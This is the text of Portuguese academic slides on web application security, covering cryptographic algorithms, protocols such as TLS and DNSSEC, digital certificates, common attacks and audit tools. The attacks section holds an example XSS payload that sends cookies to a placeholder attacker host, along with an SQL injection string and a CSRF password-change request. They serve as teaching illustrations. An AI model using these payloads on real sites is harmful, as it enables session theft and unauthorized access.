SEGURANÇA DE APLICAÇÕES NA WEB Aluno: Thiago Augusto Lopes Genez Orientador: Mario Lemes Proença Jr. SUMÁRIO Introdução Conceitos Básicos de Segurança Algoritmos Criptográficos Protocolos de Segurança Identificação Digital Os Ataques Ferramentas de Auditoria de Segurança INTRODUÇÃO Aplicação WEB: Acessada por um navegador WEB Meio de comunicação O canal é inseguro Internet Exemplos: E-commerce, Banking on-line Necessidade da Segurança Ausência da segurança Falta de manutenção e/ou configuração específica da segurança Falta de atualizações diárias Cada dia novos ataques são descobertos A camada da aplicação possui falhas de segurança INTRODUÇÃO Problema da insegurança nas aplicações WEB: Divulgação dos dados confidenciais “Quebra” do sigilo Perda da confiabilidade pelo usuário. Informações caírem em “mãos erradas” Solução: Criptografia, protocolos criptográficos, identificação digital e ferramentas de auditoria. Objetivo Garantir que as informações mantenham-se intactas e protegidas durante a sua transmissão na Internet. Garantir um ambiente WEB seguro. CONCEITOS BÁSICOS DE SEGURANÇA Serviços disponibilizados pela segurança: Autenticação Confidencialidade Integridade Não-repúdio Controle de Acesso Disponibilidade Tipos de ataques contra a Segurança Objetivo dos ataques: minimizar os serviços de segurança CONCEITOS BÁSICOS DE SEGURANÇA CONCEITOS BÁSICOS DE SEGURANÇA Classificação dos ataques Ataques passivos: sem modificação do conteúdo “Libertação” do conteúdo da mensagem Análise de tráfego Ataques Ativos: com modificação do conteúdo Disfarçado Mensagens repetitivas Modificação de Mensagens Negação de Serviço (DoS) CONCEITOS BÁSICOS DE SEGURANÇA O Problema da Segurança no Ambiente WEB Ocorrem nos Browsers: Cookies, Applets, ActiveX, AJAX Entrada de dados não validado nas aplicações WEB Solucionando o problema de segurança na WEB: Proteger : O servidor WEB e os respectivos dados internos As informações que trafegam entre o servidor e o usuário Planejar uma arquitetura de segurança para as aplicações no seu ciclo de vida Os usuário finais devem navegar em uma plataforma segura. CONCEITOS BÁSICOS DE SEGURANÇA ALGORITMOS CRIPTOGRÁFICOS Origem etimológica grega: Ckryptós “escondido” Gráphein “escrever”. Objetivo: Texto legível Cifra texto ilegível Divididos em: Simétrico Codificação em Blocos Codificação em Fluxo Assimétrico Criptogrifia, Assinatura Digital e Troca de Chaves Funções Hash ALGORITMOS CRIPTOGRÁFICOS SIMÉTRICOS Algoritmo Bloco Chave Informações RC4 Fluxo 1-2048 bits Internet Banking Caixa Econômica Federal, Banco do Brasil, Itaú RC5 32-128 bits 64-128 bits Chave 64 quebrada, chave 72 bits segura RC6 128 bits 128-256 bits Ficou no 4° colocado do AES DES 64 bits 64 bits Defasado, 1998 quebrado por hardware TDES 64 bits 168 bits Comércio eletrônico PayPal AES 128-256 bits 128-256 bits 1997-Rijndael, pagseguro (UOL) Blowfish 64 ou 128 bits 128 bits Plataforma OpenBSD Twofish 128-256 bits 256 bits Ficou no 3° colocado do AES Serpent 128-256 bits 128-256 bits Ficou no 2° colocado do AES ALGORITMOS CRIPTOGRÁFICOS ASSIMÉTRICOS Algoritmo Fornece Chave Informações RSA Criptografia Assinatura digital Troca de Chaves 1024-2048 bits Utilizado na maioria dos certificados digitais DiffieHellman Troca de chaves 512-4096 bits Necessita de mecanismo extra para garantir autenticidade 1024 bits Proposto em 1991 para ser o padrão para assinaturas digitais ECC Criptografia Assinatura digital Troca de Chaves 80-256 bits Desafiar e concorrer o RSA. Usado no DNSCurve ECDSA Assinatura Digital 160 bits Concorrente ao DSA DSA Assinatura Digital ALGORITMOS CRIPTOGRÁFICOS FUNÇÕES HASH Algoritmo Tamanho Hash Informações MD5 128 bits Não é resistente a colisão (2008) MD6 512 bits Não avançou para a segunda fase do concurso SHA-3 em julho 2009 SHA-1 160 bits Não é resistente a colisão SHA-2 224, 256, 384, 512 bits Nenhum tipo de ataque foi relatado e a partir de 2010 todas agencias federais USA tem que substituir o SHA-1 para SHA-2 SHA-3 224, 256, 384, 512 bits Concurso proposto pela NIST. (andamento na 2° fase, resultado sairá em 2012) PROTOCOLOS DE SEGURANÇA Protocolos Ação Fornece Informações SSL/TLS Entre as camadas de Transporte e a camada de aplicação Criptografia (três tipos), Certificados Digitais •Podem acoplar protocolos de alto nível: Ex, HTTPS •Ponto a Ponto IPsec Na camada de Rede (pacote IP criptografado) Autenticação, Criptografia e Gerenciamento de chaves • Integrado no IPv6 • Proteção nativa para todos os protocolos acima da camada de rede WS-Security Camada de aplicação Criptografia XML Assinatura XML •Web Services •SOAP •Fim a Fim DNSSec Serviço DNS Autenticação •Protege ataques DNS Spoofing (Falso DNS) DNSCurve Serviço DNS Autenticação Criptografia •Protege ataques DoS PROTOCOLOS DE SEGURANÇA SSL/TLS X WS-SECURITY •Informação está segura no canal •Protege toda a mensagem •Comunicação ponto a ponto •Garante a segurança em todos os estágio da comunicação •Protege somente as porções da mensagem que precisa de segurança •Comunicação fim a fim IDENTIFICAÇÃO DIGITAL Transações eletrônicas: Integridade, autenticidade e confidencialidade Assinatura Digital Bloco de dados criptografado anexado a mensagem Fornece: Autenticação, Integridade e Não repúdio Não garante a confidencialidade IDENTIFICAÇÃO DIGITAL CERTIFICADO DIGITAL Distribuir as chaves públicas de pessoas físicas e/ou jurídicas de forma segura. Autoridade Certificadora (AC) Terceiro Confiável ATAQUES Para proteger dos ataques é necessário conhecê-los “Passos”: Reconhecimento do Alvo (DNS) Verificar a segurança da Rede O Ataque “Lá Dentro” Ataque de força bruta Ataque do Homem do Meio (Man-in-the-middle) Ataque contra as aplicações WEB Páginas dinâmicas Código executados no cliente (script client-side) Aplicação WEB + Servidor WEB +Banco de Dados Problema: Entrada dos dados não são tratados Dados armazenados em Cookies ATAQUES XSS (Cross Site Scripting) http://site.vulneravel.com/post.php?param=id_sessao http://site.vulneravel.com/post.php?parametro=<script>document.location= servidor.invasor.com/roubarCookie.php?’+document.cookie</script> Injeção SQL SELECT * FROM users WHERE username = ’" + username + "’ AND password = ’" + password + "’"; SELECT * FROM users WHERE username = ’’ or 1=1;--’ AND password = ’’; CSRF (Cross-site reference forgery) Manipula a sessão ativa da vítima (Cookie roubado) http://site.vulneravel.com/index.php?pagina=altera_senha.php Altera os valores: nova_senha=12345678&confirma_nova_senha=12345678 Phishing google.com googIe.com DNS Spoofing Clickjacking FERRAMENTAS DE AUDITORIA DE SEGURANÇA Não é trivial encontrar vulnerabilidades das aplicações. Maioria das soluções propostas Não garante a proteção na lógica da aplicação Aplicações desenvolvidas sem uma segurança na camada da aplicação A segurança não incluída no ciclo de vida do software Entrada dados não validados deixa a aplicação instável Ferramentas de auditoria Minimiza as vulnerabilidades Objetivo de testar a segurança na camada de aplicação Funcionam como um proxy Manipulações dos pedidos e respostas HTTP/HTTPS Age como: “Homem do meio” FERRAMENTAS DE AUDITORIA DE SEGURANÇA Funções\Ferramenta RatProxy Web Scarab Paros Burp Proxy w3af IBM AppScan Licença Livre Sim Sim Sim Não Sim Não Multiplataforma Sim Sim Sim Sim Sim Não Manipula pedidos/resposta HTTP(S) Não Sim Sim Sim Sim Sim Relatório detalhado Sim Não Sim Sim Sim Sim Sugestão para Correção Não Não Não Não Não Sim Suporte SSL/TLS Sim Sim Sim Sim Sim Sim XSS, Injeção SQL, CSR Sim Sim Sim Sim Sim Sim Análise de Cookies Sim Sim Sim Sim Sim Sim Análise de dados ocultos Não Não Sim Não Não Sim Análise RESTful Não Sim Sim Não Sim Não Ambiente Desenvolvimento Não Não Não Não Não Sim CONCLUSÃO Base da segurança: Criptografia Comunicação entre usuário final e a aplicação WEB: Navegador WEB (browser) Canal é inseguro Internet Solução: Protocolos Criptográficos Outra solução: identificação digital Transações eletrônicas: Integridade, Autenticidade e Confidencialidade Não garante a proteção na lógica da aplicação Linguagens WEB dinâmicas Entrada de dados não validados Deixa a aplicação WEB instável facilita os ataques Ferramentas de auditoria procura as vulnerabilidades Computação na nuvem (cloud computing) OBRIGADO